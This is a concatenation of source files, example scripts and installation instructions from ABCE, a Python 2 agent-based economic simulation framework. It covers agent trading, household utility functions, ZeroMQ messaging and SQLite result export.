action_list that is repeated repetitions: the number of times that an actionlist is repeated or the name of the corresponding parameter in simulation_parameters.csv """ #TODO implement into _process_action_list def __init__(self, action_list, repetitions=None): SystemExit('repeat_while not implement yet') self.action_list = action_list if repetitions: try: self.repetitions = int(repetitions) except ValueError: try: self.repetitions = self.simulation_parameters[repetitions] except KeyError: SystemExit('add_action_list/repeat ' + repetitions + ' is not a number or' 'a column name in simulation_parameters.csv or the parameterfile' 'you choose') else: self.repetitions = None raise SystemExit('repeat_while not implemented') #TODO implement repeat_while class _Communication(multiprocessing.Process): def __init__(self, _addresses): multiprocessing.Process.__init__(self) self._addresses = _addresses def run(self): self.context = zmq.Context() self.in_soc = self.context.socket(zmq.PULL) self.in_soc.bind(self._addresses['frontend']) self.out = self.context.socket(zmq.ROUTER) self.out.bind(self._addresses['backend']) self.shout = self.context.socket(zmq.PUB) self.shout.bind(self._addresses['group_backend']) self.ready = self.context.socket(zmq.PUSH) self.ready.connect(self._addresses['ready']) agents_finished, total_number = 0, 0 total_number_known = False self.ready.send('working') all_agents = [] while True: try: msg = self.in_soc.recv_multipart() except KeyboardInterrupt: print('KeyboardInterrupt: _Communication: msg = self.in_soc.recv_multipart() ~825') break if msg[0] == '!': if msg[1] == '.': agents_finished += 1 if msg[1] == 's': self.shout.send_multipart(msg[2:]) continue elif msg[1] == '+': total_number += int(msg[2]) continue elif msg[1] == ')': total_number_known = True send_end_of_communication_sign = False elif msg[1] == '}': total_number_known = True send_end_of_communication_sign = True elif msg[1] == '!': if msg[2] == 'register_agent': all_agents.append(msg[3]) agents_finished += 1 elif msg[2] == 'end_simulation': break if total_number_known: if agents_finished == total_number: agents_finished, total_number = 0, 0 total_number_known = False self.ready.send('.') if send_end_of_communication_sign: for agent in all_agents: self.out.send_multipart([agent, '.']) self.shout.send('all.') else: self.out.send_multipart(msg) self.context.destroy() def _number_or_string(word): """ returns a int if possible otherwise a float from a string """ try: return int(word) except ValueError: try: return float(word) except ValueError: return word try: # Clears screen right at the start os.system('cls' if os.name == 'nt' else 'clear') except: pass <file_sep>x11(); plot(buy_log_household$consumption_good|buy_log_household$id, type='l',col='red') plot(household$HH|household$id, type='l', col='green') x11() plot(production_log_firm$intermediate_good[which(production_log_firm$id == 0)], type='l', col='blue', ylim=c(0,2.5)) lines(production_log_firm$consumption_good[which(production_log_firm$id == 1)], col='red') sam(0) sam(10) <file_sep>Download and Installation ========================= Installation of stable version Ubuntu ------------------------------------- 1. Download stable version form: https://dl.dropboxusercontent.com/u/3655123/abce-0.3.tar.gz 2. If pip is not installed in terminal:: sudo apt-get install python-pip, python-scipy, python-numpy 3. If R has not been installed automatically install it:: Install R from www.CRAN.org, at least version 2.15 4. In terminal:: sudo pip install abce-0.3.1.tar.gz 5. Download templats and examples from: https://dl.dropboxusercontent.com/u/3655123/abce_templates-0.3.zip 6. unzip abce_templates-0.3.zip Installation of stable version Windows -------------------------------------- 1. Install Python2.7 (preferably 32bit) 2. Next, set the system’s PATH variable to include directories that include Python components and packages we’ll add later. To do this: - Right-click Computer and select Properties. - In the dialog box, select Advanced System Settings. - In the next dialog, select Environment Variables. - In the User Variables section, edit the PATH statement to include this:: C:\Python27;C:\Python27\Lib\site-packages\;C:\Python27\Scripts\; 2. Install Setuptools from http://pypi.python.org/pypi/setuptools#downloads 3. install pip:: easy_install pip 4. Install R form www.cran.org 5. Download stable version form: https://dl.dropboxusercontent.com/u/3655123/abce-0.3.tar.gz 6. install ABCE:: pip install abce-0.3.1.tar.gz In case of problems reinstall python http://www.anthonydebarros.com/2011/10/15/setting-up-python-in-windows-7/ 7. Download templats and examples from: https://dl.dropboxusercontent.com/u/3655123/abce_templates-0.3.zip 8. unzip abce_templates-0.3.zip Installation of development version ----------------------------------- The installation has two parts. Installing the necessary software packages. Retrieving ABCE with git or as a zip file. Alternative 1 as a zip (EASY): 1. download the zip file from: https://github.com/DavoudTaghawiNejad/abce 2. extract zip file Alternative 2 via git [2]_ in terminal (RECOMMENDED):: [register with git and automatize a secure connection with your computer] sudo apt-get install git mkdir abce cd abce git init git pull <EMAIL>:DavoudTaghawiNejad/abce.git Optional for development you can install sphinx and sphinx-apidoc, the system that created this documentation. sphinx-apidoc currently needs the newest version of sphinx. .. [1] possible you have to install sqlite3 and the according python bindings .. [2] Git is a a version controll system. It is higly recommended to use it to make your development process more efficient and less error prone. http://gitimmersion.com/ <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. import zmq import multiprocessing import csv import numpy as np class AbceLogger(multiprocessing.Process): def __init__(self, directory, db_name, _addresses): multiprocessing.Process.__init__(self) self._addresses = _addresses self.file = open(directory + '/network.csv', 'wb') self.network_log = csv.writer(self.file, delimiter=',', quotechar=",", quoting=csv.QUOTE_MINIMAL) def run(self): context = zmq.Context() in_sok = context.socket(zmq.PULL) in_sok.bind(self._addresses['logger']) while True: typ = in_sok.recv() if typ == "close": self.file.close() break if typ == 'network': data_to_write = in_sok.recv_pyobj() self.network_log.writerow(data_to_write) context.destroy() <file_sep>from __future__ import division import abce from abce.tools import is_zero, is_positive, is_negative, NotEnoughGoods class Household(abce.Agent, abce.Household): def __init__(self, simulation_parameters, agent_parameters, _pass_to_engine): abce.Agent.__init__(self, *_pass_to_engine) <file_sep>""" functions: sam_cell(seller, buyer, cell='quantity'), returns you the evolution over time of a cell trade_over_time(seller, buyer, good, cell='quantity'), returns you the evolution over time of a cell sam(t), returns the social accounting matrix at time t sam_ext(t), returns the social accounting matrix at time t for every individual agent """ import os import pylab import numpy import abce.jython_sqlite3 as sqlite3 import csv def to_r_and_csv(directory, db_name, csv=True): #pylint: disable=R0914 os.chdir(directory) #db_name = db_name + '.db' c = sqlite3.CustomConnect('.', db_name) import glob print('--') print(db_name) print glob.glob("*") print glob.glob(db_name) table_names = c.executeQuery("SELECT name FROM sqlite_master WHERE type='table'").fetchall() table_names = [i for sublist in table_names for i in sublist] # equivalent to unlist, or numpy's ravel print("Import:") for i in table_names: c.execute("select * from %s" % i) table_contents = c.fetchall() column_names = [j[0] for j in c.description] column_types = [type(k) for k in table_contents[-1]] # hack-ish, could have been done better @Rudy, I think this is pythonic print zip(column_names, column_types) print table_contents[1-3] for table in table_names: table_to_file(table, column_names, table_contents) for table in table_names: aggregate_and_convert(table, c) try: #MONKY PATCH why does this not work in python???, I numpy is not available in JYTHON, so NameError-try/catch is necessary tables = numpy.recarray(table_contents, dtype=zip(column_names, column_types)) #pylint: disable=E1101 except (TypeError, ValueError) as e: print("irrelevant - numpy.recarray error: ", e) tables = [dict([(key, cell) for key, cell in zip(column_names, row)]) for row in table_contents] except NameError: tables = [dict([(key, cell) for key, cell in zip(column_names, row)]) for row in table_contents] c.close() def table_to_file(table_name, column_names, table_contents): with open(os.path.join('.', table_name + '.csv'), 'w') as csv_file: csv_writer = csv.writer(csv_file) csv_writer.writerow(column_names) for row in table_contents: csv_writer.writerow(row) def aggregate_and_convert(table, cursor): cursor.execute('SELECT * FROM %s' % table) column_names = [column_name[0] for column_name in cursor.description] if 'id' in column_names: with open(os.path.join('.', table + '_aggregate.csv'), 'w') as csv_file: csv_writer = csv.writer(csv_file) column_names.remove('id') column_names.remove('round') sum_string = ','.join('sum(%s)' % item for item in column_names) cursor.execute('SELECT round, ' + sum_string +' FROM ' + table + ' GROUP BY round;') csv_writer.writerow(['round'] + column_names) while True: try: csv_writer.writerow(cursor.fetchone()) except csv.Error: break <file_sep>R load('database.RData') ls() <file_sep>try: import sqlite3 from sqlite3 import * #pylint: disable=W0614 class CustomConnect: def __init__(self, directory, db_name): self.db = sqlite3.connect(directory + '/' + db_name + '.db') self.cursor = self.db.cursor() def execute(self, command): self.cursor.execute(command) self.description = self.cursor.description def executeQuery(self, command): return self.cursor.execute(command) def column_names(self, table_name): self.cursor.execute("""PRAGMA table_info(""" + table_name + """)""") return [row[1] for row in self.cursor] def table_ids(self, table_name): self.cursor.execute("""PRAGMA table_info(""" + table_name + """)""") return [row[0] for row in self.cursor] def fetchall(self): return self.cursor.fetchall() def fetchone(self): return self.cursor.fetchone() def commit(self): self.db.commit() def close(self): self.db.close() class SQLException(Exception): pass except ImportError: import java.sql.SQLException as SQLException #pylint: disable=F0401 import org.sqlite.SQLiteDataSource as SQLiteDataSource #pylint: disable=F0401 class CustomConnect: def __init__(self, directory, db_name): dataSource = SQLiteDataSource() dataSource.setUrl("jdbc:sqlite:" + directory + '/' + db_name + '.db') self.connection = dataSource.getConnection() self.cursor = self.connection.createStatement() self.describtion = self.db.describtion def execute(self, command): self.cursor.execute(command) def executeQuery(self, command): return self.cursor.executeQuery(command) def column_names(self, table_name): table_info = self.cursor.executeQuery("""PRAGMA table_info(""" + table_name + """)""") columns = [] while True: columns.append(table_info.getString(2)) if not(table_info.next()): break return columns def table_ids(self, table_name): table_info = self.cursor.executeQuery("""PRAGMA table_info(""" + table_name + """)""") columns = [] while True: columns.append(table_info.getString(1)) if not(table_info.next()): break return columns def fetchall(self): return self.cursor.fetchall() def fetchone(self): return self.cursor.fetchone() def commit(self): try: self.connection.commit() except SQLException: if self.connection.getAutoCommit() == False: raise def close(self): self.connection.close() class OperationalError(Exception): pass class InterfaceError(Exception): pass <file_sep>from __future__ import division import abce from abce.tools import * import random class Buy(abce.Agent): def __init__(self, simulation_parameters, own_parameters, _pass_to_engine): abce.Agent.__init__(self, *_pass_to_engine) self.last_round = simulation_parameters['num_rounds'] - 1 self.cut_of = simulation_parameters['cut_of'] self.tests = {'accepted': False, 'rejected': False, 'partial': False} if self.idn == 1: self.tests['not_answered'] = False def one(self): """ Acts only if he is agent 0: sends an buy offer to agent 1 offer """ if self.idn == 0: self.create('money', random.uniform(0, 10000)) self.money = self.possession('money') self.price = random.uniform(0.0001, 1) quantity = random.uniform(0, self.money / self.price) self.offer = self.buy('buy', 1, 'cookies', quantity, self.price) assert self.possession('money') == self.money - quantity * self.price def two(self): """ Acts only if he is agent 1: recieves offers and accepts; rejects; partially accepts and leaves offers unanswerd. """ if self.idn == 1: self.create('cookies', random.uniform(0, 10000)) cookies = self.possession('cookies') oo = self.get_offers('cookies') assert oo for offer in oo: if random.randint(0, 10) == 0: self.tests['not_answered'] = True continue elif random.randint(0, 10) == 0: self.reject(offer) assert self.possession('money') == 0 assert self.possession('cookies') == cookies self.tests['rejected'] = True break # tests the automatic clean-up of polled offers try: self.accept(offer) assert self.possession('money') == offer['price'] * offer['quantity'] assert self.possession('cookies') == cookies - offer['quantity'] self.tests['accepted'] = True except NotEnoughGoods: self.accept_partial(offer, self.possession('cookies')) assert is_zero(self.possession('cookies')) assert self.possession('money') == cookies * offer['price'] self.tests['partial'] = True def three(self): """ """ if self.idn == 0: offer = self.info(self.offer) if offer['status'] == 'rejected': test = self.money - self.possession('money') assert is_zero(test), test self.tests['rejected'] = True elif offer['status'] == 'accepted': assert self.money - offer['quantity'] * offer['price'] == self.possession('money') assert self.possession('cookies') == offer['quantity'] self.tests['accepted'] = True elif offer['status'] == 'partial': test = (self.money - offer['final_quantity'] * offer['price']) - self.possession('money') assert is_zero(test), test test = self.possession('cookies') - offer['final_quantity'] assert is_zero(test), test self.tests['partial'] = True else: SystemExit('Error in buy') def clean_up(self): self.destroy_all('money') self.destroy_all('cookies') def all_tests_completed(self): assert all(self.tests.values()), 'not all tests have been run; ABCE workes correctly, restart the unittesting to do all tests %s' % self.tests if self.round == self.last_round and self.idn == 0: print('Test abce.buy:\t\t\t\t\tOK') print('Test abce.accept\t(abce.buy):\t\tOK') print('Test abce.reject\t(abce.buy):\t\tOK') print('Test abce.accept_partial\t(abce.buy):\tOK') print('Test reject pending automatic \t(abce.buy):\tOK') <file_sep>class repeat: """ Repeats the contained list of actions several times Args: action_list: action_list that is repeated repetitions: the number of times that an actionlist is repeated or the name of the corresponding parameter in simulation_parameters.csv Example with number of repetitions in simulation_parameters.csv:: action_list = [ repeat([ ('firm', 'sell'), ('household', 'buy') ], repetitions=parameter['number_of_trade_repetitions'] ), ('household_03', 'dance') 'panel_data_end_of_round_before consumption', ('household', 'consume'), ] s.add_action_list(action_list) """ def __init__(self, action_list, repetitions): self.action_list = action_list self.repetitions = repetitions class repeat_while: """ NOT IMPLEMENTED Repeats the contained list of actions until all agents_risponed done. Optional a maximum can be set. Args:: action_list: action_list that is repeated repetitions: the number of times that an actionlist is repeated or the name of the corresponding parameter in simulation_parameters.csv """ #TODO implement into _process_action_list def __init__(self, action_list, repetitions=None): SystemExit('repeat_while not implement yet') self.action_list = action_list if repetitions: try: self.repetitions = int(repetitions) except ValueError: try: self.repetitions = self.simulation_parameters[repetitions] except KeyError: SystemExit('add_action_list/repeat ' + repetitions + ' is not a number or' 'a column name in simulation_parameters.csv or the parameterfile' 'you choose') else: self.repetitions = None raise SystemExit('repeat_while not implemented') #TODO implement repeat_while <file_sep>from __future__ import division from firm import Firm from household import Household from abce import Simulation, read_parameters, repeat for simulation_parameters in read_parameters('simulation_parameters.csv'): s = Simulation(simulation_parameters) action_list = [ repeat([ ('firm', 'one'), ('household', 'two'), ], simulation_parameters['trade_repetitions']), 'buy_log', ('all', 'three') ] s.add_action_list(action_list) s.build_agents(Firm, 5) s.build_agents(Household, 5) s.declare_round_endowment( resource='labor_endowment', productivity=1, product='labor' ) s.declare_perishable(good='labor') s.panel_data('household', command='buy_log') s.panel_data('firm', command='buy_log') s.run() <file_sep>import datetime import csv from glob import glob import os from tools import _number_or_string def read_parameters(parameters_file='simulation_parameters.csv', delimiter='\t', quotechar='"'): """ reads a parameter file line by line and gives a list. Where each line contains all parameters for a particular run of the simulation. Args: parameters_file (optional): filename of the csv file. (default:`simulation_parameters.csv`) delimiter (optional): delimiter of the csv file. (default: tabs) quotechar (optional): for single entries that contain the delimiter. (default: ") See python csv lib http://docs.python.org/library/csv.html This code reads the file and runs a simulation for every line:: for parameter in read_parameters('simulation_parameters.csv'): w = Simulation(parameter) w.build_agents(Agent, 'agent', 'num_agents') w.run() """ start_time = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M") parameter_array = [] csvfile = open(parameters_file) dialect = csv.Sniffer().sniff(csvfile.read(1024)) csvfile.seek(0) reader = csv.reader(csvfile, dialect) keys = [key.lower() for key in reader.next()] for line in reader: if line == []: continue cells = [_number_or_string(cell.lower()) for cell in line] parameter = dict(zip(keys, cells)) if 'num_rounds' not in keys: raise SystemExit('No "num_rounds" column in ' + parameters_file) if 'name' not in parameter: try: parameter['name'] = parameter['Name'] except KeyError: print("no 'name' (lowercase) column in " + parameters_file) parameter['name'] = 'abce' parameter['name'] = str(parameter['name']).strip("""\"""").strip("""\'""") try: if parameter['random_seed'] == 0: parameter['random_seed'] = None except KeyError: parameter['random_seed'] = None parameter['_path'] = os.path.abspath('./result/' + parameter['name'] + '_' + start_time) try: os.makedirs('./result/') except OSError: pass try: os.makedirs(parameter['_path']) except OSError: files = glob(parameter['_path'] + '/*') for f in files: os.remove(f) for key in parameter: if key == '' or key[0] == '#' or key[0] == '_': del key parameter_array.append(parameter) return parameter_array #TODO put the initialisation in the init so that it can eat a dict <file_sep>#!/usr/bin/env python from setuptools import setup import os # MUST ASSERT THAT python-dev is installed setup( name='abce', version='0.3', author='<NAME>', author_email='<EMAIL>', description='Agent-Based Complete Economy modelling platform', url='https://github.com/DavoudTaghawiNejad/abce/downloads', package_dir = {'abce': 'abce'}, packages=['abce'], modules=['abce_db', 'abcetools', 'postprocess'], long_description=open('README.rst').read(), install_requires=['pyparsing==1.5.7', 'numpy','scipy', 'pyzmq', 'matplotlib'], include_package_data = True, ) if os.name == 'posix': try: subprocess.call(["tar", "xf abce-0.3.tar.gz"]) except: print('** Please unzip abce-0.3.tar.gz. There you will find examples, templates and documentation') print('** - documentation http://davoudtaghawinejad.github.com/abce/') elif os.name == 'Darwin': try: subprocess.call(["tar", "xf abce-0.3.tar.gz"]) except: print('** Please unzip abce-0.3.tar.gz. There you will find examples, templates and documentation') print('** - documentation http://davoudtaghawinejad.github.com/abce/') else: print('** Please unzip abce-0.3.tar.gz. There you will find examples, templates and documentation') print('** - documentation http://davoudtaghawinejad.github.com/abce/')<file_sep>plot(sam_cell("firm_0:", "household", cell='quantity'), col='red') x11(); plot(sam_cell("firm_0:", "household", cell='price'), col='blue') sam(0) <file_sep>l""" Agents are now build according to the line in agents_parameter.csv """ from __future__ import division from abce import * from firm import Firm from household import Household for simulation_parameters in read_parameters('simulation_parameters.csv'): w = Simulation(simulation_parameters) action_list = [ ('household', 'sell_labor'), ('firm', 'buy_inputs'), ('firm', 'production'), 'production_log', ('firm', 'sell_intermediary_goods'), ('household', 'buy_intermediary_goods'), 'buy_log', ('household', 'consumption') ] w.add_action_list(action_list) w.build_agents_from_file(Firm, parameters_file='agents_parameters.csv') w.build_agents_from_file(Household) w.declare_round_endowment('labor_endowment', productivity=1, product='labor') w.declare_perishable(good='labor') w.panel_data('household', command='buy_log') w.panel_data('firm', command='production_log') w.run() <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The :class:`abceagent.Agent` class is the basic class for creating your agent. It automatically handles the possession of goods of an agent. In order to produce/transforme goods you need to also subclass the :class:`abceagent.Firm` [1]_ or to create a consumer the :class:`abceagent.Household`. For detailed documentation on: Trading: see :class:`abceagent.Trade` Logging and data creation: see :class:`abceagent.Database` and :doc:`simulation_results` Messaging between agents: see :class:`abceagent.Messaging`. .. autoexception:: abcetools.NotEnoughGoods .. [1] or :class:`abceagent.FirmMultiTechnologies` for simulations with complex technologies. """ from __future__ import division import zmq import multiprocessing from collections import OrderedDict, defaultdict from abce.tools import * class Subround(multiprocessing.Process): """ If you initate an agent of this class it tells you approximately in which subround you are """ def __init__(self, _addresses): multiprocessing.Process.__init__(self) self._addresses = _addresses self.round = 0 def run(self): self.context = zmq.Context() self.commands = self.context.socket(zmq.SUB) self.commands.connect(self._addresses['command_addresse']) self.commands.setsockopt(zmq.SUBSCRIBE, "") while True: try: address = self.commands.recv() # catches the group adress. except KeyboardInterrupt: print('KeyboardInterrupt: %s, Last command: %s in self.commands.recv() to catch own adress ~1888' % (self.name, command)) breakc command = self.commands.recv() if command == '_advance_round': self.round += 1 elif command == "!": subcommand = self.commands.recv() print(subcommand) if subcommand == 'die': break print(command, address) <file_sep>""" 1. declared the timeline 2. build one Household and one Firm follow_agent 3. For every labor_endowment an agent has he gets one trade or usable labor per round. If it is not used at the end of the round it disapears. 4. Firms' and Households' possesions are monitored ot the points marked in timeline. """ from __future__ import division from abce import * from firm import Firm from household import Household for parameters in read_parameters(): w = Simulation(parameters) action_list = [ ('household', 'sell_labor'), ('firm', 'buy_labor'), ('firm', 'production'), 'production_log', ('firm', 'sell_goods'), ('household', 'buy_goods'), 'buy_log', ('household', 'consumption') ] w.add_action_list(action_list) w.build_agents(Firm, 1) w.build_agents(Household, 1) w.declare_round_endowment(resource='adult', productivity=1, product='labor') w.declare_perishable(good='labor') w.panel_data('household', command='buy_log') w.panel_data('firm', command='production_log') w.run() <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The Household class extends the agent by giving him utility functions and the ability to consume goods. """ from __future__ import division import compiler import pyparsing as pp import numpy as np from tools import epsilon save_err = np.seterr(invalid='ignore') class Household: def utility_function(self): """ the utility function should be created with: set_cobb_douglas_utility_function, set_utility_function or set_utility_function_fast """ return self._utility_function def consume_everything(self): """ consumes everything that is in the utility function returns utility according consumption A utility_function, has to be set before see py:meth:`~abceagent.Household.set_ utility_function`, py:meth:`~abceagent.Household.set_cobb_douglas_utility_function` Returns: A the utility a number. To log it see example. Example:: utility = self.consume_everything() self.log('utility': {'u': utility}) """ return self.consume(dict((inp, self._haves[inp]) for inp in self._utility_function['input'])) def consume(self, input_goods): """ consumes input_goods returns utility according to the agent's consumption function A utility_function, has to be set before see py:meth:`~abceagent.Household.set_ utility_function`, py:meth:`~abceagent.Household.set_cobb_douglas_utility_function` or Args: {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good consumed. Raises: NotEnoughGoods: This is raised when the goods are insufficient. Returns: A the utility a number. To log it see example. Example:: self.consumption_set = {'car': 1, 'ball': 2000, 'bike': 2} self.consumption_set = {'car': 0, 'ball': 2500, 'bike': 20} try: utility = self.consume(utility_function, self.consumption_set) except NotEnoughGoods: utility = self.consume(utility_function, self.smaller_consumption_set) self.log('utility': {'u': utility}) """ for good in self._utility_function['input']: if self._haves[good] < input_goods[good] - epsilon: raise NotEnoughGoods(self.name, good, self._utility_function['input'][good] - self._haves[good]) for good in self._utility_function['input']: self._haves[good] -= input_goods[good] goods_vector = input_goods.copy() goods_vector['utility'] = None exec(self._utility_function['code'], {}, goods_vector) return goods_vector['utility'] def set_utility_function(self, formula, typ='from_formula'): """ creates a utility function from formula Utility_functions are then used as an argument in consume_with_utility, predict_utility and predict_utility_and_consumption. create_utility_function_fast is faster but more complicated utility_function Args: "formula": equation or set of equations that describe the utility function. (string) needs to start with 'utility = ...' Returns: A utility_function Example: formula = 'utility = ball + paint' self._utility_function = self.create_utility_function(formula) self.consume_with_utility(self._utility_function, {'ball' : 1, 'paint' : 2}) //exponential is ** not ^ """ parse_single_input = pp.Suppress(pp.Word(pp.alphas + "_", pp.alphanums + "_")) + pp.Suppress('=') \ + pp.OneOrMore(pp.Suppress(pp.Optional(pp.Word(pp.nums + '*/+-().[]{} '))) + pp.Word(pp.alphas + "_", pp.alphanums + "_")) parse_input = pp.delimitedList(parse_single_input, ';') self._utility_function = {} self._utility_function['type'] = typ self._utility_function['formula'] = formula self._utility_function['code'] = compiler.compile(formula, '<string>', 'exec') self._utility_function['input'] = list(parse_input.parseString(formula)) def set_utility_function_fast(self, formula, input_goods, typ='from_formula'): """ creates a utility function from formula Utility_functions are then used as an argument in consume_with_utility, predict_utility and predict_utility_and_consumption. create_utility_function_fast is faster but more complicated Args: "formula": equation or set of equations that describe the production process. (string) Several equation are separated by a ; [output]: list of all output goods (left hand sides of the equations) Returns: A utility_function that can be used in produce etc. Example: formula = 'utility = ball + paint' self._utility_function = self.create_utility_function(formula, ['ball', 'paint']) self.consume_with_utility(self._utility_function, {'ball' : 1, 'paint' : 2} //exponential is ** not ^ """ self._utility_function = {} self._utility_function['type'] = typ self._utility_function['formula'] = formula self._utility_function['code'] = compiler.compile(formula, '<string>', 'exec') self._utility_function['input'] = input_goods def set_cobb_douglas_utility_function(self, exponents): """ creates a Cobb-Douglas utility function Utility_functions are than used as an argument in consume_with_utility, predict_utility and predict_utility_and_consumption. Args: {'input1': exponent1, 'input2': exponent2 ...}: dictionary containing good names 'input' and correstponding exponents Returns: A utility_function that can be used in consume_with_utility etc. Example: self._utility_function = self.create_cobb_douglas({'bread' : 10, 'milk' : 1}) self.produce(self.plastic_utility_function, {'bread' : 20, 'milk' : 1}) """ formula = 'utility=' + ('*'.join(['**'.join([input_good, str(input_quantity)]) for input_good, input_quantity in exponents.iteritems()])) self._utility_function = {} self._utility_function['type'] = 'cobb-douglas' self._utility_function['parameters'] = exponents self._utility_function['formula'] = formula self._utility_function['code'] = compiler.compile(formula, '<string>', 'exec') self._utility_function['input'] = exponents.keys() def predict_utility(self, input_goods): """ Predicts the utility of a vecor of input goods Predicts the utility of consume_with_utility(utility_function, input_goods) Args:: {'input_good1': amount1, 'input_good2': amount2 ...}: dictionary containing the amount of input good used for the production. Returns:: utility: Number Example:: print(A.predict_utility(self._utility_function, {'ball': 2, 'paint': 1})) """ goods_vector = input_goods.copy() goods_vector['utility'] = None exec(self._utility_function['code'], {}, goods_vector) return goods_vector['utility'] def sort(objects, key='price', reverse=False): """ Sorts the object by the key Args:: reverse=True for descending Example:: quotes_by_price = sort(quotes, 'price') """ return sorted(objects, key=lambda objects: objects[key], reverse=reverse) <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The :class:`abce.agent.Agent` class is the basic class for creating your agents. It automatically handles the possession of goods of an agent. In order to produce/transforme goods you also need to subclass the :class:`abceagent.Firm` [1]_ or to create a consumer the :class:`abce.agent.Household`. For detailed documentation on: Trading: see :class:`abce.agent.Trade` Logging and data creation: see :class:`abce.agent.Database` and :doc:`simulation_results` Messaging between agents: see :class:`abce.agent.Messaging`. .. autoexception:: abce.tools.NotEnoughGoods .. [1] or :class:`abce.agent.FirmMultiTechnologies` for simulations with complex technologies. """ from __future__ import division import zmq import multiprocessing import compiler import pyparsing as pp from collections import OrderedDict, defaultdict import numpy as np from abce.tools import * from inspect import getmembers, ismethod from random import shuffle save_err = np.seterr(invalid='ignore') from database import Database from logger import Logger from trade import Trade, Offer from messaging import Messaging, Message class Agent(Database, Logger, Trade, Messaging, multiprocessing.Process): """ Every agent has to inherit this class. It connects the agent to the simulation and to other agent. The :class:`abceagent.Trade`, :class:`abceagent.Database` and :class:`abceagent.Messaging` classes are included. You can enhance an agent, by also inheriting from :class:`abceagent.Firm`.:class:`abceagent.FirmMultiTechnologies` or :class:`abceagent.Household`. For example:: class Household(abceagent.Agent, abceagent.Household): def __init__(self, simulation_parameters, agent_parameters, _pass_to_engine): abceagent.Agent.__init__(self, *_pass_to_engine) """ def __init__(self, idn, group, _addresses, trade_logging): multiprocessing.Process.__init__(self) self.idn = idn self.name = '%s_%i:' % (group, idn) self.name_without_colon = '%s_%i' % (group, idn) self.group = group #TODO should be group_address(group), but it would not work # when fired manual + ':' and manual group_address need to be removed self._addresses = _addresses self._methods = {} self._register_actions() if trade_logging == 'individual': self._log_receive_accept = self._log_receive_accept_agent self._log_receive_partial_accept = self._log_receive_partial_accept_agent elif trade_logging == 'group': self._log_receive_accept = self._log_receive_accept_group self._log_receive_partial_accept = self._log_receive_partial_accept_group elif trade_logging == 'off': self._log_receive_accept = lambda: None self._log_receive_partial_accept = lambda: None else: SystemExit('trade_logging wrongly defined in agent.__init__' + trade_logging) self._haves = defaultdict(int) #TODO make defaultdict; delete all key errors regarding self._haves as defaultdict, does not have missing keys self._haves['money'] = 0 self._msgs = defaultdict(list) self.given_offers = OrderedDict() self.given_offers[None] = Offer(self.group, self.idn, '', '', '', 0, 1, buysell='', idn=None) self.given_offers[None]['status'] = 'accepted' self.given_offers[None]['status_round'] = 0 self._open_offers = {} self._answered_offers = OrderedDict() self._offer_count = 0 self._reject_offers_retrieved_end_subround = [] self._trade_log = defaultdict(int) self._data_to_observe = {} self._data_to_log_1 = {} self._quotes = {} self.round = 0 def possession(self, good): """ returns how much of good an agent possesses. Returns: A number. possession does not return a dictionary for self.log(...), you can use self.possessions([...]) (plural) with self.log. Example: if self.possession('money') < 1: self.financial_crisis = True if not(is_positive(self.possession('money')): self.bancrupcy = True """ return self._haves[good] def possessions(self, list_of_goods): """ returns a dictionary of goods and the corresponding amount an agent owns Argument: A list with good names. Can be a list with a single element. Returns: A dictionary, that can be used with self.log(..) Examples:: self.log('buget', self.possesions(['money'])) self.log('goods', self.possesions(['gold', 'wood', 'grass'])) have = self.possessions(['gold', 'wood', 'grass'])) for good in have: if have[good] > 5: rich = True """ return {good: self._haves[good] for good in list_of_goods} def possessions_all(self): """ returns all possessions """ return self._haves.copy() def possessions_filter(self, goods=None, but=None, match=None, beginswith=None, endswith=None): """ returns a subset of the goods an agent owns, all arguments can be combined. Args: goods (list, optional): a list of goods to return but(list, optional): all goods but the list of goods here. match(string, optional TODO): goods that match pattern beginswith(string, optional): all goods that begin with string endswith(string, optional) all goods that end with string is(string, optional TODO) 'resources': return only goods that are endowments 'perishable': return only goods that are perishable 'resources+perishable': goods that are both 'produced_by_resources': goods which can be produced by resources Example:: self.consume(self.possessions_filter(but=['money'])) # This is redundant if money is not in the utility function """ if not(goods): goods = self._haves.keys() if but != None: try: goods = set(goods) - set(but) except TypeError: raise SystemExit("goods and/or but must be a list e.G. ['element1', 'element2']") if beginswith != None: new_goods = [] for good in goods: if good.startswith(beginswith): new_goods.append(good) goods = new_goods if endswith != None: new_goods = [] for good in goods: if good.endswith(endswith): new_goods.append(good) goods = new_goods return dict((good, self._haves[good]) for good in goods) def _offer_counter(self): """ returns a unique number for an offer (containing the agent's name) """ 